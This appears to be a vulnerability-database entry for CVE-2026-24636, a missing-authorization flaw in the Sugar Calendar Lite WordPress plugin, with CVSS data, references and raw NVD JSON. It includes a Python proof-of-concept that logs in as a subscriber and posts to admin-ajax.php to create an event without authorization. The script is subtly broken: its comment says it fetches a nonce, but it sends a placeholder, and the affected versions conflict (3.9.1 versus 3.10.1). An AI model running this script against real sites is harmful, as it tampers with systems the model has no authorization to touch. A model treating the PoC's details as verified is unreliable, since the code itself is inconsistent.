CVE-2026-24636

Description

Missing Authorization vulnerability in Syed Balkhi Sugar Calendar (Lite) sugar-calendar-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sugar Calendar (Lite): from n/a through <= 3.9.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sugar Calendar Lite <= 3.9.1

Sugar Calendar Lite <= 3.10.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# WordPress目标站点
target_url = 'http://target-wordpress-site.com'

# 低权限用户凭证
username = 'subscriber_user'
password = 'user_password'

# 登录获取认证cookie
session = requests.Session()
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In'
}

# 获取WordPress nonce用于后续请求
session.post(f'{target_url}/wp-login.php', data=login_data)

# 利用缺失的授权漏洞创建新事件
event_data = {
    'action': 'sugar_calendar_add_event',
    'title': 'Malicious Event',
    'description': 'Unauthorized event created via broken access control',
    'nonce': 'attacker_obtained_nonce'
}

response = session.post(
    f'{target_url}/wp-admin/admin-ajax.php',
    data=event_data
)

print(f'Event creation response: {response.status_code}')
print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24636
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24636
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24636/
[4] VulDB https://vuldb.com/cve/CVE-2026-24636
[5] https://patchstack.com/database/Wordpress/Plugin/sugar-calendar-lite/vulnerability/wordpress-sugar-calendar-lite-plugin-3-10-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24636", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:23.500", "lastModified": "2026-04-28T15:16:22.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Syed Balkhi Sugar Calendar (Lite) sugar-calendar-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sugar Calendar (Lite): from n/a through <= 3.9.1."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Syed Balkhi Sugar Calendar (Lite) sugar-calendar-lite permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a Sugar Calendar (Lite): desde n/a hasta <= 3.10.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sugar-calendar-lite/vulnerability/wordpress-sugar-calendar-lite-plugin-3-10-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}